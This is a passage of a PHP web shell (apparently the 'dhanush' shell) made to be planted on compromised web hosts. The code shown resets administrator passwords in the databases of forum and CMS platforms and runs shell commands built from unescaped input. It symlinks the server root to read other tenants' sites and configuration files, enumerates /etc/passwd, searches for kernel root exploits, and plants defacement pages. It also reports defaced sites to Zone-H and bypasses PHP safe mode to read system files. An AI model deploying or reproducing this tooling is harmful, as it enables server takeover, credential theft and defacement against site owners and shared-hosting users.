  1857.                 $sql = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
  1858.             }
  1859.             else
  1860.             {
  1861.                 $result = mysql_query("select member_name from ".$prefix."members where id_member = 1");
  1862.                 $row = mysql_fetch_array($result);
  1863.                 $membername = $row['member_name'];
  1864.                 $newpassword = sha1(strtolower($membername).$newpass);
  1865.                 $sql = mysql_query("update ".$prefix."members set passwd = '$newpassword' where id_member = '$uid'");
  1866.             }
  1867.             if($sql)
  1868.             {
  1869.                 mysql_close($con);
  1870.                 header("Location:$self?forum&passwordchange&changed");
  1871.                 ob_end_flush();
  1872.             }
  1873.             else
  1874.                 header("Location:$self?forum&passwordchange&cannotchange");
  1875.         }
  1876.         if($_POST['forums'] == "phpbb")
  1877.         {  
  1878.             $con = mysql_connect($localhost,$username,$password);
  1879.             $db = mysql_select_db($database,$con);
  1880.             $newpassword = md5($newpass);echo $newpassword;
  1881.             if(empty($prefix) || $prefix == null)
  1882.                 $sql = mysql_query("update phpbb_users set user_password = '$newpassword' where user_id = '$uid'");
  1883.             else
  1884.                 $sql = mysql_query("update ".$prefix."users set user_password = '$newpassword' where user_id = '$uid'");
  1885.             if($sql)
  1886.             {
  1887.                 mysql_close($con);
  1888.                 header("Location:$self?forum&passwordchange&changed");
  1889.                 ob_end_flush();
  1890.             }
  1891.             else
  1892.                 header("Location:$self?forum&passwordchange&cannotchange");
  1893.         }
  1894.         if($_POST['forums'] == "ipb")
  1895.         {
  1896.             $con = mysql_connect($localhost,$username,$password);
  1897.             $db = mysql_select_db($database,$con);
  1898.             $salt = "eghj";
  1899.             $newpassword = md5(md5($salt).md5($newpass));
  1900.             if($prefix == "" || $prefix == null)
  1901.                 $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
  1902.             else
  1903.                 $sql = mysql_query("update ".$prefix."members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
  1904.             if($sql)
  1905.             {
  1906.                 mysql_close($con);
  1907.                 header("Location:$self?forum&passwordchange&changed");
  1908.                 ob_end_flush();
  1909.             }
  1910.             else
  1911.                 header("Location:$self?forum&passwordchange&cannotchange");
  1912.         }
  1913.         if($_POST['forums'] == "wp")
  1914.         {  
  1915.             $uname = $_POST['uname'];
  1916.             $con = mysql_connect($localhost,$username,$password);
  1917.             $db = mysql_select_db($database,$con);
  1918.             $newpassword = md5($newpass);
  1919.             if($prefix == "" || $prefix == null)
  1920.                 $sql = mysql_query("update wp_users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
  1921.             else
  1922.                 $sql = mysql_query("update ".$prefix."users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
  1923.             if($sql)
  1924.             {
  1925.                 mysql_close($con);
  1926.                 header("Location:$self?forum&passwordchange&changed#wordp");
  1927.                 ob_end_flush();
  1928.             }
  1929.             else
  1930.                 header("Location:$self?forum&passwordchange&cannotchange#wordp");
  1931.         }
  1932.         if($_POST['forums'] == "joomla")
  1933.         {  
  1934.             $uname = $_POST['uname'];
  1935.             $con = mysql_connect($localhost,$username,$password);
  1936.             $db = mysql_select_db($database,$con);
  1937.             $newpassword = md5($newpass);
  1938.             if($prefix == "" || $prefix == null)
  1939.                 $sql = mysql_query("update jos_users set password = '$newpassword', username = '$uname' where name = 'Super User'");
  1940.             else
  1941.                 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', username = '$uname' where name = 'Super User' OR name = 'Administrator'");
  1942.             if($sql)
  1943.             {
  1944.                 mysql_close($con);
  1945.                 header("Location:$self?forum&passwordchange&changed#jooml");
  1946.                 ob_end_flush();
  1947.             }
  1948.             else
  1949.                 header("Location:$self?forum&passwordchange&cannotchange#jooml");
  1950.         }
  1951.     }
  1952.     else if(isset($_GET['whois']))
  1953.     {
  1954.         echo "<br>".nl2br(shell_exec("whois ".$_GET['whois']));
  1955.     }
  1956.     // Get Domains
  1957.     else if(isset($_REQUEST["symlinkserver"]))
  1958.     {  
  1959.         ?>
  1960.         <center><table><tr><td><a href="<?php echo $self; ?>?domains&symlinkserver">| Get Domains |</a></td>
  1961.         <td><a href="<?php echo $self; ?>?symlink&symlinkserver">| Symlink Server |</a></td>
  1962.         <td><a href="<?php echo $self; ?>?symlinkfile&symlinkserver">| Symlink File |</a></td>
  1963.         <td><a href="<?php echo $self; ?>?script&symlinkserver">| Script Locator |</a></td>
  1964.         </tr></table></center><br>
  1965.         <?php
  1966.         if(isset($_GET["domains"]))
  1967.         {
  1968.         ?>  <center><iframe src="<?php echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR'); ?>" width="80%" height="1000px"></iframe></center>
  1969.         <?php }
  1970.         else if(isset($_GET["symlink"]))
  1971.         {
  1972.             $d0mains = @file("/etc/named.conf");
  1973.             if($d0mains)
  1974.             {
  1975.                 @mkdir("dhanush",0777);
  1976.                 @chdir("dhanush");
  1977.                 execmd("ln -s / root");
  1978.                 $file3 = 'Options all
  1979.      DirectoryIndex Sux.html
  1980.      AddType text/plain .php
  1981.      AddHandler server-parsed .php
  1982.       AddType text/plain .html
  1983.      AddHandler txt .html
  1984.      Require None
  1985.      Satisfy Any        
  1986.     ';
  1987.                 $fp3 = fopen('.htaccess','w');
  1988.                 $fw3 = fwrite($fp3,$file3);
  1989.                 @fclose($fp3);
  1990.                         echo "<table align=center border=1 style='width:60%;' class=tbl><tr><td align=center><font color=#FFFFFF size=3>S. No.</font></td><td align=center><font color=#FFFFFF size=3>Domains</font></td><td align=center><font color=#FFFFFF size=3>Users</font></td><td align=center><font color=#FFFFFF size=3>Symlink</font></td><td align=center><font color=#FFFFFF size=3>Information</font></td></tr>";
  1991.                 $dcount = 1;
  1992.                 foreach($d0mains as $d0main)
  1993.                 {
  1994.                     if(eregi("zone",$d0main))
  1995.                     {
  1996.                         preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1997.                         flush();
  1998.                         if(strlen(trim($domains[1][0])) > 2)
  1999.                         {
  2000.                             $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2001.                             echo "<tr align=center><td><font size=2>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font size=2>".$domains[1][0]."</font></a></td><td><font size=2>".$user['name']."</font></td><td><a href='/dhanush/root/home/".$user['name']."/public_html' target='_blank'><font size=2>Symlink</font></a></td><td><a href=?whois=".$domains[1][0]." target=_blank><font size=2>info</font></a></td></tr>"; flush();
  2002.                             $dcount++;
  2003.                         }
  2004.                     }
  2005.                 }
  2006.                 echo "</table>";
  2007.             }
  2008.             else
  2009.             {
  2010.                     $TEST=@file('/etc/passwd');
  2011.                     if ($TEST)
  2012.                     {
  2013.                         @mkdir("dhanush",0777);
  2014.                         @chdir("dhanush");
  2015.                         execmd("ln -s / root");
  2016.                         $file3 = 'Options all
  2017.              DirectoryIndex Sux.html
  2018.              AddType text/plain .php
  2019.              AddHandler server-parsed .php
  2020.               AddType text/plain .html
  2021.              AddHandler txt .html
  2022.              Require None
  2023.              Satisfy Any        
  2024.             ';
  2025.                         $fp3 = fopen('.htaccess','w');
  2026.                         $fw3 = fwrite($fp3,$file3);
  2027.                         @fclose($fp3);
  2028.                         echo "<table align=center border=1 style='width:40%;' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
  2029.                         $dcount = 1;
  2030.                         $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  2031.                         //Output a line of the file until the end is reached
  2032.                         while(!feof($file))
  2033.                         {
  2034.                             $s = fgets($file);
  2035.                             $matches = array();
  2036.                             $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2037.                             $matches = str_replace("home/","",$matches[1]);
  2038.                             if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2039.                                 continue;
  2040.                             echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
  2041.                             echo "<td align=center><font class=txt><a href=/dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2042.                             $dcount++;
  2043.                         }
  2044.                         fclose($file);
  2045.                         echo "</table>";
  2046.                     }
  2047.                     else
  2048.                     {
  2049.                         if($os != "Windows")
  2050.                         {  
  2051.                             @mkdir("dhanush",0777);
  2052.                             @chdir("dhanush");
  2053.                             execmd("ln -s / root");
  2054.                             $file3 = 'Options all
  2055.                  DirectoryIndex Sux.html
  2056.                  AddType text/plain .php
  2057.                  AddHandler server-parsed .php
  2058.                   AddType text/plain .html
  2059.                  AddHandler txt .html
  2060.                  Require None
  2061.                  Satisfy Any        
  2062.                 ';
  2063.                             $fp3 = fopen('.htaccess','w');
  2064.                             $fw3 = fwrite($fp3,$file3);
  2065.                             @fclose($fp3);
  2066.                             echo "<table align=center border=1 style='width:40%;' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Symlink</font></td></tr>";
  2067.                             $temp = "";
  2068.                             $val1 = 0;
  2069.                             $val2 = 1000;
  2070.                             for(;$val1 <= $val2;$val1++)
  2071.                             {
  2072.                                 $uid = @posix_getpwuid($val1);
  2073.                                 if ($uid)
  2074.                                      $temp .= join(':',$uid)."\n";
  2075.                              }
  2076.                              echo '<br/>';
  2077.                              $temp = trim($temp);
  2078.                              $file5 = fopen("test.txt","w");
  2079.                              fputs($file5,$temp);
  2080.                              fclose($file5);
  2081.                             $dcount = 1;
  2082.                              $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2083.                              while(!feof($file))
  2084.                              {
  2085.                                 $s = fgets($file);
  2086.                                 $matches = array();
  2087.                                 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2088.                                 $matches = str_replace("home/","",$matches[1]);
  2089.                                 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2090.                                     continue;
  2091.                                 echo "<tr><td align=center><font size=3>" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
  2092.                                 echo "<td align=center><font class=txt><a href=/dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2093.                                 $dcount++;
  2094.                              }
  2095.                             fclose($file);
  2096.                             echo "</table>";
  2097.                             unlink("test.txt");
  2098.                         }
  2099.                         else
  2100.                             echo "<center><font size=4>Cannot create Symlink</font></center>";
  2101.                     }
  2102.                 }
  2103.             }
  2104.             else if(isset($_GET["symlinkfile"]))
  2105.             {
  2106.                 if(!isset($_GET['file']))
  2107.                 {
  2108.                     ?>
  2109.                     <center>
  2110.                     <form action="<?php echo $self; ?>">
  2111.                     <input type="hidden" name="symlinkserver">
  2112.                     <input type="hidden" name="symlinkfile">
  2113.                     <input type="text" class="box" name="file" size="50" value="">
  2114.                     <input type="submit" value="Create Symlink" class="but">
  2115.                     </form></center>
  2116.                     <br><br>
  2117.                     <?php
  2118.                 }
  2119.                 else
  2120.                 {
  2121.                     $fakedir="cx";
  2122.                     $fakedep=16;
  2123.                     $num=0; // offset of symlink.$num
  2124.                     if(!empty($_GET['file'])) $file=$_GET['file'];
  2125.                     else if(!empty($_POST['file'])) $file=$_POST['file'];
  2126.                     else $file="";
  2127.                     if(empty($file))
  2128.                         exit;
  2129.                     if(!is_writable("."))
  2130.                         die("not writable directory");
  2131.                     $level=0;
  2132.                     for($as=0;$as<$fakedep;$as++){
  2133.                         if(!file_exists($fakedir))
  2134.                             mkdir($fakedir);
  2135.                         chdir($fakedir);
  2136.                     }
  2137.                     while(1<$as--) chdir("..");
  2138.                     $hardstyle = explode("/", $file);
  2139.                     for($a=0;$a<count($hardstyle);$a++){
  2140.                     if(!empty($hardstyle[$a])){
  2141.                         if(!file_exists($hardstyle[$a]))
  2142.                             mkdir($hardstyle[$a]);
  2143.                         chdir($hardstyle[$a]);
  2144.                         $as++;
  2145.                     }
  2146.                 }
  2147.             $as++;
  2148.             while($as--)
  2149.                     chdir("..");
  2150.                 @rmdir("fakesymlink");
  2151.                 @unlink("fakesymlink");
  2152.                 @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
  2153.                 // this loop will skip allready created symlinks.
  2154.                 while(1)
  2155.                     if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
  2156.                     else $num++;
  2157.                 @unlink("fakesymlink");
  2158.                 mkdir("fakesymlink");
  2159.                 die('<FONT class=txt>check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');
  2160.             }
  2161.         }
  2162.         else if(isset($_REQUEST["script"]))
  2163.         {
  2164.             ?>
  2165.             <center><table><tr><td><a href="<?php echo $self; ?>?manually&script&symlinkserver"><font class="tblheads">| Do It Manually |</font></a></td>
  2166.         <td><a href="<?php echo $self; ?>?automatic&script&symlinkserver"><font class="tblheads">| Do It Automatically |</font></a></td>
  2167.         </tr></table></center>
  2168.             <?php
  2169.             if(isset($_REQUEST['manually']))
  2170.             {
  2171.                 if(!isset($_REQUEST['passwd']))
  2172.                 {
  2173.                 ?>
  2174.                 <center>
  2175.                 <form action="<?php echo $self; ?>" method="post">
  2176.                 <input type="hidden" name="manually">
  2177.                 <input type="hidden" name="script">
  2178.                 <input type="hidden" name="symlinkserver">
  2179.                 <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
  2180.                 <input type="submit" value="Get Config" class="but">
  2181.                 </form>
  2182.                 </center>
  2183.                 <?php
  2184.                 }
  2185.                 else
  2186.                 {
  2187.                     $getetc = trim($_REQUEST['passwd']);
  2188.                     mkdir("dhanushSPT");
  2189.                     chdir("dhanushSPT");
  2190.                     $myfile = fopen("test.txt","w");
  2191.                     fputs($myfile,$getetc);
  2192.                     fclose($myfile);
  2193.                     $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2194.                     while(!feof($file))
  2195.                     {
  2196.                         $s = fgets($file);
  2197.                         $matches = array();
  2198.                         $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2199.                         $matches = str_replace("home/","",$matches[1]);
  2200.                         if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2201.                                 continue;
  2202.                             syml($matches,$matches);
  2203.                     }
  2204.                     fclose($file);
  2205.                     unlink("test.txt");
  2206.                     echo "<center><font class=txt>[ Done ]</font></center>";
  2207.                     echo "<br><center><a href=dhanushSPT target=_blank><font class=txt>| Go Here |</font></a></center>";
  2208.                 }
  2209.             }
  2210.             else if(isset($_REQUEST['automatic']))
  2211.             {
  2212.                 $d0mains = @file("/etc/named.conf");
  2213.                 if($d0mains)
  2214.                 {
  2215.                     mkdir("dhanushST");
  2216.                     chdir("dhanushST");
  2217.                     foreach($d0mains as $d0main)
  2218.                     {
  2219.                         if(eregi("zone",$d0main))
  2220.                         {
  2221.                             preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2222.                             flush();
  2223.                             if(strlen(trim($domains[1][0])) > 2)
  2224.                             {
  2225.                                 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2226.                                 syml($user['name'],$domains[1][0]);                
  2227.                             }
  2228.                         }
  2229.                     }
  2230.                     echo "<center><font class=txt>[ Done ]</font></center>";
  2231.                     echo "<br><center><a href=dhanushST target=_blank><font class=txt>| Go Here |</font></a></center>";
  2232.                 }
  2233.                 else
  2234.                 {
  2235.                     mkdir("dhanushSPT");
  2236.                     chdir("dhanushSPT");
  2237.                     $temp = "";
  2238.                     $val1 = 0;
  2239.                     $val2 = 1000;
  2240.                     for(;$val1 <= $val2;$val1++)
  2241.                     {
  2242.                         $uid = @posix_getpwuid($val1);
  2243.                         if ($uid)
  2244.                             $temp .= join(':',$uid)."\n";
  2245.                      }
  2246.                      echo '<br/>';
  2247.                      $temp = trim($temp);
  2248.                      $file5 = fopen("test.txt","w");
  2249.                      fputs($file5,$temp);
  2250.                      fclose($file5);
  2251.                      $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2252.                      while(!feof($file))
  2253.                      {
  2254.                         $s = fgets($file);
  2255.                         $matches = array();
  2256.                         $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2257.                         $matches = str_replace("home/","",$matches[1]);
  2258.                         if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2259.                             continue;
  2260.                         syml($matches,$matches);
  2261.                      }
  2262.                     fclose($file);
  2263.                     echo "</table>";
  2264.                     unlink("test.txt");
  2265.                     echo "<center><font class=txt>[ Done ]</font></center>";
  2266.                     echo "<br><center><a href=dhanushSPT target=_blank><font class=txt>| Go Here |</font></a></center>";
  2267.                 }
  2268.             }
  2269.         }
  2270.     }  
  2271.     // Exploit Search
  2272.     else if(isset($_GET["exploit"]))
  2273.     {
  2274.         if(!isset($_GET["rootexploit"]))
  2275.         {
  2276.             ?>
  2277.             <center>
  2278.             <form action="<?php echo $self; ?>" method="get" target="_blank">
  2279.             <input type="hidden" name="exploit">
  2280.             <table class=tbl border="1" cellpadding="5" cellspacing="4" style="width:50%;">
  2281.             <tr>
  2282.                 <td style="height:60px;">
  2283.             <font size="4">Select Website</font></td><td>
  2284.             <p><select id="rootexploit" name="rootexploit" class="box">
  2285.                 <option value="exploit-db">Exploit-db</option>
  2286.                 <option value="packetstormsecurity">Packetstormsecurity</option>
  2287.                 <option value="exploitsearch">Exploitsearch</option>
  2288.                 <option value="shodanhq">Shodanhq</option>
  2289.             </select></p></td></tr><tr><td colspan="2" align="center"  style="height:40px;">
  2290.             <input type="submit" value="Search" class="but"></td></tr></table>
  2291.             </form></center><br>
  2292.         <?php
  2293.         }
  2294.         else
  2295.         {
  2296.             //exploit search
  2297.             $Lversion = php_uname(r);
  2298.             $OSV = php_uname(s);
  2299.             if(eregi('Linux',$OSV))
  2300.             {
  2301.                 $Lversion=substr($Lversion,0,6);
  2302.                 if($_GET['rootexploit'] == "exploit-db")
  2303.                 {
  2304.                     header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+$Lversion");
  2305.                 }
  2306.                 else if($_GET['rootexploit'] == "packetstormsecurity")
  2307.                 {
  2308.                     header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+$Lversion");
  2309.                 }
  2310.                 else if($_GET['rootexploit'] == "exploitsearch")
  2311.                 {
  2312.                     header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
  2313.                 }
  2314.                 else if($_GET['rootexploit'] == "shodanhq")
  2315.                 {
  2316.                     header("Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+$Lversion");
  2317.                 }
  2318.             }
  2319.             else
  2320.             {
  2321.                 $Lversion=substr($Lversion,0,3);
  2322.                 if($_GET['rootexploit'] == "exploit-db")
  2323.                 {
  2324.                     header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV+Lversion");
  2325.                 }
  2326.                 else if($_GET['rootexploit'] == "packetstormsecurity")
  2327.                 {
  2328.                     header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=$OSV+Lversion");
  2329.                 }
  2330.                 else if($_GET['rootexploit'] == "exploitsearch")
  2331.                 {
  2332.                     header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
  2333.                 }
  2334.                 else if($_GET['rootexploit'] == "shodanhq")
  2335.                 {
  2336.                     header("Location:http://www.shodanhq.com/exploits?q=$OSV+Lversion");
  2337.                 }
  2338.             }
  2339.             //End of Exploit search
  2340.         }
  2341.     }
  2342.     else if(isset($_REQUEST['404']))
  2343.     {
  2344.         ?>
  2345.         <center><table><tr><td><a href="<?php echo $self; ?>?404&new"><font size="4">| Set Your 404 Page |</font></a></td>
  2346.             <td><a href="<?php echo $self; ?>?404&old"><font size="4">| Set Specified 404 Page |</font></a></td>
  2347.             </tr></table></center><br>
  2348.             <?php
  2349.             if(isset($_GET['old']))
  2350.             {
  2351.                 if(strlen($ind) != 0)
  2352.                 {
  2353.                     if($myfile = fopen(".htaccess", "a"))
  2354.                     {
  2355.                         fwrite($myfile, "ErrorDocument 404 /404.html \n\r");
  2356.                         if($myfilee = fopen("404.html", "w+"))
  2357.                         {
  2358.                             fwrite($myfilee, base64_decode($ind));
  2359.                             fclose($myfilee);
  2360.                             header("Location:$self?set404");
  2361.                             ob_end_flush();
  2362.                         }
  2363.                         fclose($myfile);   
  2364.                     }
  2365.                     else
  2366.                     {
  2367.                         header("Location:$self?cannotset404");
  2368.                         ob_end_flush();
  2369.                     }
  2370.                 }
  2371.                 else
  2372.                     echo "<center>Nothing Specified in the shell</center>";
  2373.             }
  2374.             else if(isset($_REQUEST['new']))
  2375.             {
  2376.                 if(isset($_POST['404page']))
  2377.                 {
  2378.                     if($myfile = fopen(".htaccess", "a"))
  2379.                     {
  2380.                         fwrite($myfile, "ErrorDocument 404 /404.html \n\r");
  2381.                         if($myfilee = fopen("404.html", "w+"))
  2382.                         {
  2383.                             fwrite($myfilee, $_POST['message']);
  2384.                         }
  2385.                         header("Location:$self?set404");
  2386.                         ob_end_flush();
  2387.                     }
  2388.                     else
  2389.                     {
  2390.                         header("Location:$self?cannotset404");
  2391.                         ob_end_flush();
  2392.                     }  
  2393.                 }
  2394.                 else
  2395.                 {
  2396.                     ?>
  2397.                     <form method=post>
  2398.                     <center><textarea name=message cols=100 rows=18 class=box><marquee>lol! You just got hacked</marquee></textarea></br>
  2399.                     <input type="submit" name=404page value="  Save  " class=but></center>
  2400.                     </br>
  2401.                     </form>
  2402.                     <?php
  2403.                 }
  2404.             }
  2405.     }
  2406.     else if(isset($_POST["SendNowToZoneH"]))
  2407.     {
  2408.         $hacker = $_POST['defacer'];
  2409.         $method = $_POST['hackmode'];
  2410.         $neden = $_POST['reason'];
  2411.         $site = $_POST['domain'];
  2412.         if (empty($hacker))
  2413.         {
  2414.             die("<center><font size=3>[-] You Must Fill the Attacker name !</font></center>");
  2415.         }
  2416.         elseif($method == "--------SELECT--------")
  2417.         {
  2418.             die("<center><font size=3>[-] You Must Select The Method !</center>");
  2419.         }
  2420.         elseif($neden == "--------SELECT--------")
  2421.         {
  2422.             die("<center><font size=3>[-] You Must Select The Reason</center>");
  2423.         }
  2424.         elseif(empty($site))
  2425.         {
  2426.             die("<center><font size=3>[-] You Must Inter the Sites List !</center>");
  2427.         }
  2428.         $i = 0;
  2429.         $sites = explode("\n", $site);
  2430.         echo "<pre class=ml1 style='margin-top:5px'>";
  2431.         while($i < count($sites))
  2432.         {
  2433.         if(substr($sites[$i], 0, 4) != "http")
  2434.         {
  2435.                 $sites[$i] = "http://".$sites[$i];
  2436.         }
  2437.         ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
  2438.         echo "<font class=txt>Site : ".$sites[$i]." Posted !</font><br>";
  2439.         ++$i;
  2440.         }
  2441.         echo "<font class=txt size=4>Sending Sites To Zone-H Has Been Completed Successfully !! </font></pre>";
  2442.     }
  2443.     // Bypass
  2444.     else if (isset($_GET["bypass"]))
  2445.     {
  2446.         if(isset($_GET['copy']))
  2447.         {
  2448.             if(@copy($_GET['copy'],"test1.php"))
  2449.             {
  2450.                 $fh=fopen("test1.php",'r');
  2451.                 echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars(@fread($fh,filesize("test1.php")))."</textarea></br></br>";
  2452.                 @fclose($fh);
  2453.                 unlink("test1.php");
  2454.             }
  2455.         }
  2456.         else if(isset($_GET['imap']))
  2457.         {
  2458.             $string = $_GET['imap'];
  2459.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2460.             $stream = imap_open($string, "", "");
  2461.             $str = imap_body($stream, 1);
  2462.             echo "</textarea>";
  2463.         }
  2464.         else if(isset($_GET['sql']))
  2465.         {
  2466.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2467.             $file=$_GET['ssql'];
  2468.             $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
  2469.             $mysql_files = explode(':', $mysql_files_str);
  2470.             $sql = array (
  2471.             "USE $mdb",
  2472.             'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
  2473.             "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
  2474.             . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
  2475.             . "ESCAPED BY          '' "
  2476.             . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
  2477.             "SELECT a FROM $tbl LIMIT 1"
  2478.             );
  2479.             mysql_connect ($mhost, $muser, $mpass);
  2480.             foreach ($sql as $statement) {
  2481.                $q = mysql_query ($statement);
  2482.                if ($q == false) die (
  2483.                   "FAILED: " . $statement . "\n" .
  2484.                   "REASON: " . mysql_error () . "\n"
  2485.                );
  2486.                if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
  2487.                echo htmlspecialchars($r[0]);
  2488.                mysql_free_result ($q);
  2489.             }
  2490.             echo "</textarea>";
  2491.         }
  2492.         else if(isset($_GET['curl']))
  2493.         {
  2494.             $ch=curl_init("file://" . $_GET[curl]);
  2495.             curl_setopt($ch,CURLOPT_HEADERS,0);
  2496.             curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2497.             $file_out=curl_exec($ch);
  2498.             curl_close($ch);
  2499.             echo "<textarea cols=120 rows=20 class=box readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
  2500.         }
  2501.         else if(isset($_GET['include']))
  2502.         {
  2503.             if(file_exists($_GET['include']))
  2504.             {
  2505.                 echo "<textarea cols=120 rows=20 class=box readonly>";
  2506.                 @include($_GET['include']);
  2507.                 echo "</textarea>";
  2508.             }
  2509.             else
  2510.                 echo "<br><center><font size=3>Can't Read" . $_GET['include'] . "</font></center>";
  2511.         }
  2512.         else if(isset($_GET['id']))
  2513.         {
  2514.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2515.             for($uid=0;$uid<60000;$uid++)
  2516.             {   //cat /etc/passwd
  2517.                 $ara = posix_getpwuid($uid);
  2518.                 if (!empty($ara))
  2519.                 {
  2520.                     while (list ($key, $val) = each($ara))
  2521.                     {
  2522.                         print "$val:";
  2523.                     }
  2524.                     print "\n";
  2525.                 }
  2526.             }
  2527.             echo "</textarea>";
  2528.             break;
  2529.         }
  2530.         else if(isset($_GET['tempname']))
  2531.         {
  2532.             tempnam("/home/" . $_GET['tempname']);
  2533.         }
  2534.         else if(isset($_GET['sym']))
  2535.         {
  2536.             echo "<textarea cols=120 rows=20 class=box readonly>";
  2537.             $fp = fopen("hack15.txt","w+");
  2538.             fwrite($fp,"Php Hacker Was Here");
  2539.             @unlink($flib);
  2540.             $sym = "/home/" . $them . "/public_html/" . $k;
  2541.             $link = "/home/"  . $you . "/public_html/" . $folder . "/" . $flib;
  2542.             @symlink($sym, $link);
  2543.             if ($k{0} == "/")
  2544.             {
  2545.                 echo "<script> window.location = '" . $flib . "'</script>";
  2546.             }
  2547.             else
  2548.             {
  2549.                 echo "<pre><xmp>";
  2550.                 echo readlink($flib) . "\n";
  2551.                 echo "Filesize: " . linkinfo($flib) . "B\n\n";
  2552.                 echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/"  . $folder . "/" . $flib);
  2553.                 echo "</textarea>";
  2554.             }
  2555.         }
  2556.         else
  2557.         {
  2558.             ?>
  2559.             <table cellpadding="7" align="center" border="3" style="width:70%;" class="tbl">
  2560.                 <tr>
  2561.                     <td align="center" colspan="2"><font size="4">Safe mode bypass</font></td>
  2562.                 </tr>
  2563.                 <tr>
  2564.                     <td align="center">
  2565.                         <p>Using copy() function</p>
  2566.                         <form action="<?php echo $self; ?>" method="get">
  2567.                         <input type="hidden" name="bypass">
  2568.                         <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2569.                         </form>
  2570.                     </td>
  2571.                     <td align="center">
  2572.                         <p>Using imap() function</p>
  2573.                         <form action="<?php echo $self; ?>" method="get">
  2574.                         <input type="hidden" name="bypass">
  2575.                         <input type="text" name="imap" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2576.                         </form>
  2577.                     </td>
  2578.                 </tr>
  2579.                 <tr>
  2580.                     <td align="center">
  2581.                         <p>Using sql() function</p>
  2582.                         <form action="<?php echo $self; ?>" method="get">
  2583.                         <input type="hidden" name="bypass">
  2584.                         <input type="text" name="sql" value="/etc/passwd" class="sbox"> <input type="submit" value="bypass" class="but">
  2585.                         </form>
  2586.                     </td>
  2587.                     <td align="center">
  2588.                         <p>Using Curl() function</p>
